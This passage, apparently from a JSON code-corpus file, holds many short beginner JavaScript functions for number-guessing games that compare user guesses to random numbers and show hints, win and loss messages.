10!');\\n}\\nreturn alert('you are right!')}\",\n \"function provideHint(){\\n\\tfunction randomNumHintGen(){ //create random number each time function is called\\n\\t\\treturn Math.floor(Math.random() * (100 - 1) + 1);\\n\\t}\\n\\tvar hintArray = [winningNumber];\\n\\tif (numGuesses === 1) { // one guess\\n\\t\\tfor (var i = 0; i < 7; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t} else if (numGuesses === 2) { // two guesses\\n\\t\\tfor (var i = 0; i < 5; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t} else if (numGuesses === 3) { // three guesses\\n\\t\\tfor (var i = 0; i < 3; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t} else if (numGuesses === 4) { // four guesses\\n\\t\\tfor (var i = 0; i < 1; i++) {\\n\\t\\t\\thintArray.push(randomNumHintGen());\\n\\t\\t}\\n\\t}\\n\\treturn hintArray;\\n}\",\n \"function randomNumberGame(){\\n var random = Math.floor((Math.random() * 20) + 1);\\n console.log('random number:', random); //this will print out the random number\\n var number; //this is the user input\\n var attempts = 0; //this will allow me to limit total attempts\\n //Then use a 'while' loop to compare user input to the random number and generate a response accordingly.\\n while (number !== random && attempts < 4) {\\n number = parseInt(prompt('How many cups of coffee do I drink each day?'));\\n console.log('user guess:', number);\\n attempts ++; //counts attempts for each answer given in loop\\n\\n if (number < random) {\\n alert('That\\\\'s not enough!');\\n counter ++;\\n } else if (number > random) {\\n alert('I like my coffee, but that\\\\'s too much');\\n counter ++;\\n } else if (isNaN(number)) {\\n alert('Please give a real number');\\n counter ++;\\n } else if (number === random) {\\n alert('You got it! Best part of waking up...');\\n correct ++;\\n counter ++;\\n } if (attempts === 4) {\\n alert('sorry, out of tries');\\n }\\n }\\n}\",\n \"function checkGuess() {\\n event.preventDefault();\\n\\n var guessInput = document.getElementById( 'formInput' );\\n var guessInputValue = formInput.value;\\n\\n var parsed = parseInt(guessInputValue);\\n var verified = verifyInput( guessInputValue, minInput, maxInput );\\n\\n if ( verified === true ) {\\n hideElement(errorMessageDisplay);\\n \\n showElement(lastGuessText);\\n changeText(lastGuessText, \\\"Your last guess was\\\");\\n\\n showElement(guessDisplay);\\n changeText(guessDisplay, guessInputValue);\\n\\n showElement(resultText);\\n\\n enableButton(resetButton);\\n\\n if ( parsed === solution ) {\\n changeText(resultText, \\\"BOOM!\\\");\\n win();\\n } else if ( parsed > solution ) {\\n changeText(resultText, \\\"That is too high!\\\");\\n } else if ( parsed < solution ) {\\n changeText(resultText, \\\"That is too low\\\");\\n }\\n }\\n}\",\n \"function questionSix(){\\n var randoNum = Math.floor(Math.random() * 10) + 1;\\n var opportunities = 4;\\n var robotVoice = 'Guess a integer from 1 to 10!';\\n\\n /*beggining of while loop checks the condition to see if there are any turns left. */\\n while (opportunities > 0) {\\n /*Lets the user know to guess an integer and how many chances are left.*/\\n var userChoice = prompt(robotVoice + ' You have ' + opportunities + ' try\\\\'s to go.');\\n /*Lets the out of the program if they select cancel.*/\\n if (!userChoice){\\n break;\\n }\\n // /**The Number() function converts the object\\n // argument to a number that represents the object's value. */\\n userChoice = Number(userChoice);\\n console.log('userChoice is ' + userChoice);\\n console.log('Random generator number is ' + randoNum);\\n\\n // /**check condition of input to random number selected */\\n if (userChoice === randoNum) {\\n alert('thats right you guessed the random number way to go!');\\n /**I need help with this part I know I need it I just dont know why. */\\n opportunities = 0;\\n break;\\n } else {\\n /*Notfies user that they were wrong and take the input decides if\\n * it was higher or lower than the random number in the if statements. */\\n robotVoice = 'You were close, but no, try again.';\\n if (userChoice < randoNum){\\n robotVoice += ' Too Low!';\\n }\\n if (userChoice > randoNum) {\\n robotVoice += ' Too High!';\\n }\\n /*This decrements the opportunities each time the user enters a try. */\\n opportunities = opportunities - 1;\\n console.log('guessCount is ' + opportunities);\\n\\n }\\n }\\n /*This line of code sits outside the loop so that if the user cancels or fails\\n * to guess correct, then they are told what the answer is. */\\n alert('The Random number Generator choose ' + randoNum + ' as it\\\\'s number .');\\n\\n}\",\n \"function guessWhat(result) {\\nvar randomGuess = Math.floor(Math.random()*2);\\nif (guessWhat ===0) {\\n$(\\\"#guess-image\\\").html(\\n \\\"\\\"\\n );\\n}\\n else { \\n $(\\\"#guess-image\\\").html(\\n \\\"daniel-pascoa-253357-unsplash.jpg>\\\"\\n);\\n } \\n if ( result===randomGuess){\\n wins++;\\n $(\\\"#win-lose\\\").html(\\\"

    Winner!

    \\\");\\n $(\\\"#wins\\\").html(\\\"

    \\\" + wins + \\\"

    \\\");\\n }\\n else {\\n losses++;\\n $(\\\"#win-lose\\\").html(\\\"

    Loser!

    \\\");\\n $(\\\"#losses\\\").html(\\\"

    \\\" + losses + \\\"

    \\\");\\n }\\n}\",\n \"function guessing_game(guess) // no display\\n {\\n\\n // Get a random integer from 1 to 10 inclusive\\n console.log(\\\"matched or unmatched?\\\");\\n var match, num;\\n\\n //for(var i = 0; i <= 10000; i++)\\n //{\\n num = Math.random() * 100; // Math.random() return a random number between 0 and 1\\n num = Math.ceil(num); // used floor thus getting 1 among 10000 samples\\n num = (num % 10) + 1; // to generate number between 1 and 10\\n console.log(\\\"at i = \\\" + i + \\\", num = \\\" + num);\\n //}\\n\\n if(guess === num)\\n {\\n return(\\\"Good Work\\\");\\n }\\n\\n else\\n {\\n return(\\\"Not matched\\\");\\n }\\n\\n }\",\n \"function guess() {\\n var number = parseInt(document.getElementById(\\\"your-number\\\").value),\\n randomNumber = Math.floor(Math.random() * 10);\\n if (isNaN(number) || number < 1 || number > 10) {\\n document.getElementById(\\\"guess-h3\\\").innerText = \\\"You Have To Select An Integer Number From 1 To 10\\\"\\n } else {\\n if(number === randomNumber) {\\n document.getElementById(\\\"guess-h3\\\").innerText = \\\"Good Work\\\"\\n }else {\\n document.getElementById(\\\"guess-h3\\\").innerText = \\\"Not Matched\\\"\\n }\\n }\\n clear();\\n}\",\n \"function tryGuess() {\\n\\t\\tsocket.cb_push(\\\"guess\\\", guess);\\n\\t\\tsetGuess(\\\"\\\");\\n\\t\\t//if (!util.gameOver(state.recorded, state.secret)) {\\n\\t\\t//\\tlet prev = state.recorded;\\n\\t//\\t\\tprev.push(guess);\\n\\t//\\t\\tsetState({secret: state.secret, warning: \\\"\\\", recorded: prev});\\n\\t//\\t\\tsetGuess(\\\"\\\");\\n\\t//\\t}\\n\\t}\",\n \"function guessNumber(){\\n var randomN = Math.floor(Math.random() * 10) + 1;\\n var usersN = parseInt(document.getElementById(\\\"guessN\\\").value);\\n if(randomN === usersN){\\n alert(\\\"Good Work!\\\");\\n } else {\\n var notM = document.getElementById(\\\"text\\\");\\n notM.innerHTML =\\\"Not matched. Try again!\\\";\\n notM.style.color=\\\"coral\\\";\\n }\\n}\",\n \"function evaluateGuess(){ // Begin evaluateGuess\\n // a) Compare the guess to the current number. If the guess is correct, return true, otherwise return false.\\n if(Number(input.value) == currentNumber )\\n {\\n return true;\\n }\\n else\\n {\\n return false;\\n }\\n} // End of evaluateGuess\",\n \"function guess() {\\n\\n //3. grab the value from the user\\n let userNum = document.getElementById(\\\"guessNumber\\\").value;\\n //After the user enters a guess, the textbox is cleared. \\n document.getElementById(\\\"guessNumber\\\").value = \\\"\\\";\\n //save the result message\\n let resultMessage = ''\\n\\n //4. compare with the value the comp picked\\n //5. if comp's num > user's num, \\\"too low\\\"\\n if (computerNum > userNum) {\\n resultMessage = 'too low';\\n //6. if comp's num < user's num, \\\"too high\\\"\\n } else if (computerNum < userNum) {\\n resultMessage = 'too high';\\n //7. if comp's num === user's num, \\\"correct\\\"\\n } else if (computerNum == userNum) {\\n\\n document.getElementById(\\\"resultArea\\\").innerHTML = `${userNum} is correct! You win! :)`\\n document.getElementById(\\\"resultArea\\\").classList.add(\\\"alert-success\\\");\\n document.getElementById(\\\"guessButton\\\").disabled = true;\\n\\n timeOut()\\n\\n return;\\n }\\n\\n remainingGuess--;\\n\\n history.push(userNum)\\n\\n\\n //8. show the result to the user\\n document.getElementById(\\\"resultArea\\\").innerHTML = `Result is ${resultMessage}`;\\n document.getElementById(\\\"historyArea\\\").innerHTML = `History of you guess: ${history}`;\\n document.getElementById(\\\"remainGuess\\\").innerHTML = `${remainingGuess}`\\n\\n // 1. make only 5 chance\\n // 3. if user win, or lose the guess button will be disabled\\n if (history.length == 5) {\\n document.getElementById(\\\"guessButton\\\").disabled = true;\\n document.getElementById(\\\"resultArea\\\").innerHTML = `The result is ${computerNum}. You ran out of guess! You lose :(`;\\n alert(\\\"You don't have any guess left\\\");\\n timeOut();\\n }\\n}\",\n \"function checkWinLoss(){\\n\\tif(playerCounter==numToGuess){\\n\\t\\twins++; \\n\\t\\t$(\\\"#wins\\\").html(wins); \\n\\t\\tresetNumbers(); \\n\\t\\tgenerateNumbers(); \\n\\t}else if(playerCounter>numToGuess){\\n\\t\\tlosses++; \\n\\t\\t$(\\\"#losses\\\").html(losses); \\n\\t\\tresetNumbers(); \\n\\t\\tgenerateNumbers(); \\n\\t}\\n}\",\n \"function checkGuess () {\\n var isItRepeated = $guessed.includes($guess);\\n if (isItRepeated === true) {\\n alreadyGuessed = true;\\n } else {\\n alreadyGuessed = false;\\n }\\n }\",\n \"function check_guess(guess) {\\n if (guess < correct_number) {\\n turns += 1\\n return \\\"That is too low\\\"\\n } else if (guess > correct_number) {\\n turns += 1\\n return \\\"That is too high\\\"\\n } else {\\n turns += 1\\n var current_min = $(\\\"#min\\\").val();\\n var current_max = $(\\\"#max\\\").val();\\n $(\\\"#min\\\").val(parseInt(current_min) - 10);\\n $(\\\"#max\\\").val(parseInt(current_max) + 10);\\n // clear guess input field\\n $(\\\"#guess\\\").val(\\\"\\\")\\n // set min-max, pick new number on new range, hide errors and messages and disable unneccessary buttons\\n set_num();\\n $(\\\"#error\\\").html(`That took you ${turns} turns.
    It just got harder.
    Minimum is 10 lower.
    Maximum is 10 higher.`);\\n $(\\\"#error\\\").show();\\n // win message\\n return \\\"BOOM!\\\"\\n }\\n}\",\n \"function guessNumber(){\\nvar programNumber = Math.ceil(Math.random() * 10);\\n var userNumber = prompt('Input the number between 1 and 10 inclusive');\\n if (userNumber == programNumber)\\n alert('Matched');\\n else\\n alert('Not matched');\\n}\",\n \"function playGuessGame() {\\r\\n\\r\\n var chance = 0;\\r\\n var numToGuess = generateRandomNum();\\r\\n \\r\\n while (chance < 3) { // given 3 chances\\r\\n \\r\\n chance++;\\r\\n var userGuess = prompt(\\\"Your Guess: \\\"); // taking guess (input) from the user\\r\\n if (userGuess === numToGuess) {\\r\\n console.log(\\\"You're Right. You've Won!!\\\");\\r\\n }\\r\\n else {\\r\\n console.log(\\\"Try Again...\\\");\\r\\n }\\r\\n\\r\\n var playAgain = false;\\r\\n\\r\\n if (chance === 3) {\\r\\n var askUser = prompt(\\\"Do You Want To Play Again? (Yes/No)\\\");\\r\\n askUser = askUser.toLowerCase();\\r\\n \\r\\n if (askUser === \\\"yes\\\") {\\r\\n playAgain = true;\\r\\n chance = 0; // to reset the game\\r\\n }\\r\\n else if (askUser === \\\"no\\\") {\\r\\n playAgain = false;\\r\\n console.log(\\\"Thank You For Playing With Us Today!\\\");\\r\\n }\\r\\n }\\r\\n \\r\\n\\r\\n\\r\\n }\\r\\n\\r\\n}\",\n \"function question6() {\\n var correctNumber = Math.floor(Math.random() * 30);\\n var attempts = 4;\\n while (attempts !== 0){\\n\\n var guessNumber = prompt('Let\\\\'s get serious. Guess a number from 1 to 50:');\\n console.log('User input: ' + guessNumber);\\n\\n if (parseInt(guessNumber)){\\n if (parseInt(guessNumber) === correctNumber){\\n\\n console.log(\\\"True!\\\");\\n alert('Great job! You guess it with ' + (5 - attempts) + ' attempt(s)');\\n correctAns++;\\n break;\\n } \\n else if (parseInt(guessNumber) < correctNumber){\\n \\n console.log(parseInt(guessNumber) + ' lower than ' + correctNumber);\\n attempts--;\\n alert(\\\"Wrong...Go higher!\\\" + attempts + \\\" attempts left\\\");\\n \\n } \\n else if (parseInt(guessNumber) > correctNumber){\\n \\n console.log(parseInt(guessNumber) + ' bigger that ' + correctNumber);\\n attempts--; \\n alert(\\\"Wrong...Go lower!\\\" + attempts + \\\" attempts left\\\");\\n \\n }\\n \\n }\\n else alert('Wrong input! It should be a whole number');\\n }\\n\\n if ((attempts === 0) && (guessNumber !== correctNumber)){\\n\\n alert('You wasted all your attempts...');\\n }\\n}\",\n \"function checkValueToGoal(){\\n if(currentTotalCounter===randomizedChosenGoalNumber){\\n winCounter++;\\n $(\\\"#winCounter\\\").html(winCounter); \\n restartGame();\\n } else if(currentTotalCounter> randomizedChosenGoalNumber){\\n loseCounter++;\\n $(\\\"#loseCounter\\\").html(loseCounter);\\n restartGame();\\n }\\n}\",\n \"function evaluateGuessOne(guess, randomNumber, min, max) {\\n console.log(\\\"minumum number is: \\\" + min);\\n console.log(\\\"max number is: \\\" + max);\\n if(guess < min || guess > max) {\\n console.error(\\\"Number is not in range\\\");\\n highOrLow1.innerText = \\\"Out of range\\\";\\n return alert(`Number must be between ${min} and ${max}`);\\n } else if(isNaN(guess)){\\n console.log(\\\"NOT A NUMBER\\\");\\n displayGuess1.innerText = \\\"--\\\";\\n highOrLow1.innerText = \\\"That's Not a Number...\\\";\\n alert(\\\"Please enter a valid number\\\");\\n } else if(guess < randomNumber) {\\n console.log(\\\"Player 1: guess is to low: \\\" + guess);\\n highOrLow1.innerText = \\\"that's to low\\\";\\n } else if(guess > randomNumber) {\\n console.log(\\\"Player 1: guess it to high: \\\" + guess);\\n highOrLow1.innerText = \\\"that's to high\\\";\\n } else {\\n console.log(\\\"Correct Guess\\\");\\n highOrLow1.innerText = \\\"BOOM!\\\";\\n newWinnerCard(challenger1Name.value, challenger2Name.value, challenger1Name.value);\\n // winnerName.innerText = challenger1Name.value;\\n alterGamerRange(min, max);\\n console.log(\\\"The new Minimum range is: \\\" + min);\\n console.log(\\\"The new Maximum range is: \\\" + max);\\n }\\n }\",\n \"function compare(){\\n feedback.classList.remove('warning');\\n let num = Number(guessNum.value);\\n let sd = 10;\\n if ( num > random ) {\\n if( Math.abs(num-random) <= sd ){\\n feedback.innerHTML = \\\"Too high, But very close!\\\"\\n } else {\\n feedback.innerHTML = \\\"Too high!\\\"\\n }\\n } else if ( num < random ) {\\n if( Math.abs(num-random) <= sd ){\\n feedback.innerHTML = \\\"Too low, But very close!\\\"\\n } else {\\n feedback.innerHTML = \\\"Too low!\\\"\\n }\\n } else if ( num === random ) {\\n feedback.innerHTML = \\\"Bingo!!!\\\";\\n feedback.classList.add('bingo');\\n again();\\n };\\n}\",\n \"function getHint() {\\n cheating = true;\\n var randomnumber=Math.floor(Math.random()*81);\\n if (puzzleFull()) { alert(\\\"No more hints! Puzzle is full!\\\"); return false;}\\n\\n if (puzzle.charAt(randomnumber) == '0' && document.getElementById(randomnumber).value == '') {\\n document.getElementById(randomnumber).value = puzzleS.charAt(randomnumber);\\n } else {\\n getHint();\\n }\\n}\",\n \"function guessMyNumber(n) {\\n var upperbound =6;\\n var rightNumber=randInt(upperbound);\\n\\n if (n > upperbound) {\\n return \\\"Out of bounds! Please try a number between 0 and 5.\\\";\\n }\\n \\n else if (n === rightNumber) {\\n return \\\"You guessed my number!\\\";\\n }\\n return \\\"Nope! That wasn't it!\\\" + \\\"correct number: \\\" + rightNumber ;\\n}\",\n \"function checkGuess() {\\r\\n var guess = document.getElementById('guess').value;\\r\\n\\r\\n if (!isNaN(guess)) {\\r\\n var guesses = document.getElementById('output');\\r\\n\\r\\n if (guess === randNum) guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed correctly! (\\\" + guess + \\\")\\\";\\r\\n else if (guess > randNum) guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed too high! (\\\" + guess + \\\")\\\";\\r\\n else guesses.value = guesses.value + \\\"\\\\r\\\" + \\\"You have guessed too low! (\\\" + guess + \\\")\\\";\\r\\n }\\r\\n else alert(\\\"Not an integer, try again.\\\");\\r\\n}\",\n \"function guessField(){\\n // Store the input entered into the text field into a variable \\\"ans\\\" and immediately cast to int\\n var ans = parseInt(document.getElementById(\\\"numberGuess\\\").elements[\\\"number\\\"].value);\\n console.log(\\\"secret: \\\" + secret + \\\"\\\\nyour guess: \\\" + ans);\\n\\n do // Used a do-while, because we always want to this block to execute at least once\\n {\\n console.log(\\\"Entered while loop\\\\nsecret: \\\" + secret + \\\"\\\\nans: \\\" + ans + \\\"\\\\nguessed: \\\" + guessed);\\n\\n if(ans > secret){\\n console.log(\\\"Your guess is too high\\\");\\n write(\\\"result4\\\", ans + \\\" is too high. Guess again\\\");\\n break;\\n } else if (ans < secret){\\n console.log(\\\"Your guess is too low\\\");\\n write(\\\"result4\\\", ans + \\\" is too low. Guess again\\\");\\n break;\\n } else if (ans === secret){\\n console.log(\\\"You guessed it!\\\");\\n write(\\\"result4\\\", \\\"You correctly guessed the number \\\" + ans + \\\". A new number random number will be generated now\\\");\\n alert(\\\"You correctly guessed the number \\\" + ans + \\\". A new number random number will be generated now\\\");\\n secret = Math.floor(Math.random() * (MAX+1));\\n console.log(\\\"New secret: \\\" + secret);\\n guessed=true;\\n } else { // If this else is reached, the input must be invalid. Prompt the user, and get a new guess.\\n console.log(\\\"Invalid input. Enter a number\\\");\\n write(\\\"result4\\\", \\\"Invalid input. Please enter a number between 0 and 5\\\");\\n break;\\n }\\n } while(guessed === false);\\n}\",\n \"function provideHint() {\\n var diff = Math.abs(playersGuess - winningNumber);\\n if (diff > 50) {\\n return (\\\" Like whoa. Maybe try a different end of the spectrum.\\\")\\n } else if (diff > 25) {\\n return (\\\" You're a fair ways off.\\\")\\n } else if (diff > 9) {\\n return (\\\" Getting there!\\\")\\n } else {\\n return (\\\" So close!\\\")\\n }\\n }\",\n \"function userWinOrLose() {\\n if (result > randomNum) {\\n losses++;\\n console.log(\\\"user lost\\\");\\n // alert(\\\"You lost! Try again.\\\");\\n initializeGame();\\n }\\n\\n if (result === randomNum) {\\n wins++;\\n console.log(\\\"user won\\\");\\n // alert(\\\"You won! Great job. Best out of 5?\\\");\\n initializeGame();\\n }\\n}\",\n \"function sixthQuestion() {\\n//sixth question\\n var secretNum = 20;\\n console.log('Value of secretNum: ', secretNum);\\n\\n// Evaluate whether the guess is too high or too low and give the user four attempts\\n var attempt = 0;\\n var maxAttempts = 4;\\n while (attempt < maxAttempts) {\\n var guessedNum = prompt('Guess my secret number.');\\n guessedNum = parseInt(guessedNum);\\n console.log('value of guessedNum: ', guessedNum);\\n console.log('type of guessedNum: ', typeof guessedNum);\\n\\n if (guessedNum === secretNum) {\\n alert('BULLSEYE. ', secretNum, ' was my secret Number!');\\n attempt = maxAttempts; // exit loop\\n tallyCorrect++;\\n } else if (guessedNum < secretNum) {\\n alert('Too low. Click OK and guess again.');\\n console.log('Attempt #: ', attempt);\\n } else if (guessedNum > secretNum) {\\n alert('Too high. Click OK and guess again.');\\n console.log('Attempt #: ', attempt);\\n } else {\\n alert('Rethink that choice.');\\n console.log('Attempt #: ', attempt);\\n }\\n attempt++;\\n }\\n console.log('out of the loop');\\n console.log('count: ' + tallyCorrect);\\n}\",\n \"function generateRandNum() {\\r\\n var guesses = document.getElementById(\\\"output\\\");\\r\\n var clicked = false;\\r\\n\\r\\n document.getElementById('newGame').onclick = function() {\\r\\n clicked = !clicked;\\r\\n };\\r\\n document.getElementById('guess').addEventListener(\\\"keyup\\\", function(event) {\\r\\n event.preventDefault();\\r\\n if (event.keyCode === 13) document.getElementById('check').click();\\r\\n });\\r\\n\\r\\n if (clicked) {\\r\\n if (!confirm('Restart game with new number?')) return;\\r\\n }\\r\\n\\r\\n guesses.value = '';\\r\\n randNum = Math.floor(Math.random()*500);\\r\\n guesses.value = \\\"New number generated.\\\\n\\\"\\r\\n\\r\\n // hide number that has been generated\\r\\n document.getElementById('numToGuess').value = '';\\r\\n document.getElementById('showCheat').style.display = 'none';\\r\\n}\",\n \"function checkFinal(){\\n \\tplayersGuessSubmission(); \\n \\t//check errors\\n \\tif (playersGuess > 100) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"

    Remember between 1 - 100!

    \\\")\\n\\t\\t}\\n\\t\\telse if (isNaN(playersGuess)) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"

    Not a number

    \\\")\\n\\t\\t}\\n\\n\\t\\telse {\\n\\t\\t\\tvar winStatus;\\n\\t\\t\\tif (winningNumber === playersGuess) {\\n\\t \\t\\twinStatus = \\\"VICTORY\\\"; \\n \\t\\t}\\n \\t\\telse {\\n \\t\\t\\twinStatus = \\\"Sorrow and Defeat\\\";\\n \\t\\t}\\n \\t\\tgameOver(winStatus);\\n\\t\\t}\\n }\",\n \"function setHiddenFields() {\\n\\n answer.value = (Math.floor((Math.random() * 10000))).toString();\\n while (answer.value.length < 4) {\\n answer.value = '0' + answer.value;\\n }\\n attempt.value = 0\\n\\n\\n console.log('set ' + answer.value + ' - ' + (answer.value).length);\\n ///Math.floor(Math.random()*1000,4);\\n //add functionality to guess function here\\n}\",\n \"function checkGuess(){ \\n\\t//var guessesRemaining = 5;\\n\\tif (isNaN(playersGuess) || playersGuess < 1 || playersGuess > 100) { // NaN, less than one, greater than 100\\n\\t\\t$(\\\"#updates\\\").text(\\\"Invalid entry, try again\\\");\\n\\t} else {\\n\\t\\tif (playersGuess === winningNumber) {\\n\\t\\t\\tyouWin();\\n\\t\\t} else { \\n\\t\\t\\tif (guessArray.indexOf(playersGuess) !== -1) { // check if players guess is duplicate \\n\\t\\t\\t\\t$(\\\"#updates\\\").text(\\\"You entered \\\" + playersGuess + \\\" already, guess again\\\"); \\n\\t\\t\\t} else {\\n\\t\\t\\t\\tnumGuesses++; // increment guesses\\n\\t\\t\\t\\tguessesRemaining--; // decrement guesses remaining\\n\\t\\t\\t\\t$(\\\"p\\\").append(\\\"p\\\").text(\\\"You have \\\" + guessesRemaining + \\\" guesses left.\\\"); //remaining guesses countdown\\n\\t\\t\\t\\tguessArray.push(playersGuess); // add guesses to array\\n\\t\\t\\t\\tguessMessage(); \\n\\t\\t\\t\\tif (numGuesses >= 5) {\\n\\t\\t\\t\\t\\tgameOver();\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"function playgame() {\\n // generates a random number\\n let ranNum = Math.floor(Math.random() * maxNum) + minNum;\\n\\n // alerts the min and max \\n alert(\\\"I'm thinking of a number between \\\" + minNum + ' and ' + maxNum)\\n\\n //define the variable\\n let guess = 0\\n\\n\\n // runs game \\n while (guess != maxTries) {\\n // add one to the their the guesses so that the loop stops at 3\\n guess += 1\\n //ask user for their guess \\n let userNumber = prompt('guess a number')\\n //convert user input to a number\\n userNumber = Number(userNumber)\\n\\n //checks the answer \\n if (userNumber >= minNum && userNumber <= maxNum) {\\n\\n if (userNumber == ranNum) {\\n guess = maxTries\\n alert('that is correct')\\n\\n } else {\\n alert('that is incorrect')\\n }\\n\\n } else {\\n alert('error:inavild')\\n }\\n\\n }\\n}\",\n \"function checkPlayerGuess() {\\n if (!isPlayerWon && !isComputerWon) {\\n if (inputLengthLarger()) {\\n setTimeout(limitInputLength, 50);\\n }\\n let secret = playerGuess.value.toUpperCase().substring(0, 5);\\n if (secret !== computerBase) {\\n messageStatus = 'Wrong Word. Try another guess!';\\n message.style.color = wrongColor;\\n }\\n } else {\\n messageStatus = isComputerWon\\n ? `Computer wins in ${count} turns`\\n : `Human wins in ${count} turns`;\\n message.style.color = rightColor;\\n }\\n}\",\n \"function checkUserGuess() {\\n\\tvar userGuess = parseInt($(\\\"#userGuess\\\").val()),\\n\\ttheDifference = Math.abs(newGameNumber - userGuess);\\n\\t\\n\\t\\n\\t\\n\\n\\taddToList(userGuess);\\n\\n\\tif (theDifference === 0)\\n\\t\\twrite(\\\"You Got It!\\\");\\n\\telse if (theDifference <= 10)\\n\\t\\twrite(\\\"On Fire\\\");\\n\\telse if (theDifference <= 25)\\n\\t\\twrite(\\\"Hotter\\\");\\n\\telse if (theDifference <= 50)\\n\\t\\twrite(\\\"Warm\\\");\\n\\telse if (theDifference <= 75)\\n\\t\\twrite(\\\"Cold\\\");\\n\\telse if (theDifference <= 100)\\n\\t\\twrite(\\\"Freezing\\\");\\n\\t\\n\\t\\n}\",\n \"function startGame(){\\n //generate random number by calling function and store it in variable\\n randomNumber = generateRandomNumber(parseInt(maximumNumber));\\n //generating random number for the number of guesses allowed;\\n numberOfGuessesAllowed = Math.floor(Math.random() * 20) + 5;\\n //calling function that will scroll the viewport to the game area\\n scrollToGameScreen();\\n //calling function that displays the message that prompts the user to guess the values\\n displayMessageToPromptUserToGuessWithAnimation();\\n //calling function that displays the input text field\\n displayAnswerInputFieldWithAnimation();\\n //calling function that displays the answer button\\n displayAnswerButtonWithAnimation();\\n }\",\n \"function inputGuess() {\\n var currentGuess = \\\"000\\\";\\n\\tvar currentGuessArray = [];\\n\\tvar exactPlace = 0;\\n var wrongPlace = 0;\\n // Get the value of the input field with id=\\\"guessEntered\\\"\\n currentGuess = pad(document.getElementById(\\\"guessEntered\\\").value,3);\\n\\t// Make current guess into array\\n\\tcurrentGuessArray = currentGuess.split(\\\"\\\");\\n // Add the current guess to the end of the array of guesses\\n\\tarrayOfGuesses.push(currentGuess);\\n\\t// Calculate number of matches in exact place\\n\\texactPlace = (Number(combination[0] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[1]) + Number(combination[2] == currentGuessArray[2]));\\n\\twrongPlace = (Number(combination[0] == currentGuessArray[1]) + Number(combination[0] == currentGuessArray[2]) + Number(combination[1] == currentGuessArray[0]) + Number(combination[1] == currentGuessArray[2]) + Number(combination[2] == currentGuessArray[0]) + Number(combination[2] == currentGuessArray[1]));\\n\\t\\n\\t// If currentGuess is equal to the Target Number, end with Win else provide stats or end with Lose.\\t\\n switch(Number(currentGuess == combination) * 2 + \\n\\t\\t(Number(guessesRemain != 1))) {\\n case 0:\\n\\t\\t\\tguessesRemain--;\\n\\t\\t\\tguessListText = currentGuess.concat(\\\"&nbsp;&nbsp;\\\", \\\"\\\", exactPlace, \\\"&nbsp;\\\", wrongPlace, \\\"
    \\\", guessListText);\\n\\t\\t\\tdocument.getElementById(\\\"response\\\").innerHTML = \\\"Sorry, you're out of guesses. The combination was \\\" + combination + \\\". Please refresh the page to try a new game.\\\";\\n\\t\\t\\tdocument.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t guessesRemain--;\\n guessListText = currentGuess.concat(\\\"&nbsp;&nbsp;\\\", \\\"\\\", exactPlace, \\\"&nbsp;\\\", wrongPlace, \\\"
    \\\", guessListText);\\n\\t document.getElementById(\\\"response\\\").innerHTML = \\\"Try again.\\\";\\n document.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\tcase 3:\\n guessesRemain--;\\n\\t\\t\\tguessListText = currentGuess.concat(\\\"&nbsp;&nbsp;\\\", \\\"\\\", exactPlace, \\\"&nbsp;\\\", wrongPlace, \\\"
    \\\", guessListText);\\n\\t\\t\\tdocument.getElementById(\\\"response\\\").innerHTML = \\\"You guessed it!\\\";\\n\\t\\t\\tdocument.getElementById(\\\"guessList\\\").innerHTML = guessListText;\\n\\t\\t\\tbreak;\\n\\t\\tdefault:\\n\\t\\t document.getElementById(\\\"response\\\").innerHTML = \\\"Wow. Something weird happened. Please notify the game designer.\\\";\\n\\t\\t\\tbreak;\\n\\t}\\n\\tdocument.getElementById(\\\"remaining\\\").innerHTML = \\\"Guesses remaining: \\\" + guessesRemain;\\n}\",\n \"function PromptNumber(max_value) {\\n\\t// variables created inside of a function aren't available outside of it.\\n\\t// If you reuse a variable name from the global scope, only the locally defined\\n\\t// version will be available here.\\n\\t// It is best to keep global variables to a minimum and only use global variables when necessary.\\n\\tlet text, num;\\n\\t\\n\\t// Here we have a REPEAT UNTIL loop. The program will always go through the loop at least once.\\n\\t// We say that it is a bottom tested loop as it checks to see if it should loop at the bottom of the block.\\n\\tdo {\\n\\t\\t// parseInt will change a string into a number.\\n\\t\\ttext = prompt('What is your guess?');\\n\\t\\tnum = parseInt(text);\\n\\t\\t\\n\\t\\tif (isNaN(num)) {\\n\\t\\t\\t// If you pass in something that isn't a number to parseInt, it \\n\\t\\t\\t// returns a special Not a Number code. If we got that just change\\n\\t\\t\\t// it to zero. We will use isNaN to detect a number parse error.\\n\\t\\t\\tnum = 0;\\n\\t\\t\\talert('\\\"' + text + '\\\" is not a number. Try again.');\\n\\t\\t}\\n\\t\\telse if (num < 1) {\\n\\t\\t\\talert(num.toString() + ' is too small for the given range. Try again.');\\n\\t\\t}\\n\\t\\telse if (num > max_value) {\\n\\t\\t\\talert(num.toString() + ' is too large for the given range. Try again.');\\n\\t\\t}\\t\\t\\n\\t}\\n\\twhile (num < 1 || num > max_value)\\n\\t// && is the boolean and operator. It will be true when both checks are true and false otherwise.\\n\\t// || is the boolean or operator. It will be true when either check is true, and only false if both checks are.\\n\\t\\n\\t\\n\\t// To return a value back to the caller use the return statement. \\n\\treturn num;\\n}\",\n \"function question6 (){\\n\\n var actualRetries = Math.floor(Math.random() * 10) + 1;\\n console.log('Actual number of retries: ' + actualRetries);\\n\\n var el = document.getElementById('random-number');\\n el.textContent = actualRetries;\\n\\n var guessedRetries = 0;\\n var correctGuess = false;\\n var numberOfGuesses = 0;\\n\\n //The initial prompt is kept separate from the follow up question to be more interactive\\n\\n guessedRetries = prompt('Can you guess the number of my retries to get all answers on the course quiz right? Please be courteous and limit your response to a number between 1 and 10.');\\n\\n while (numberOfGuesses < 4){\\n console.log('Number of retries guessed: ' + 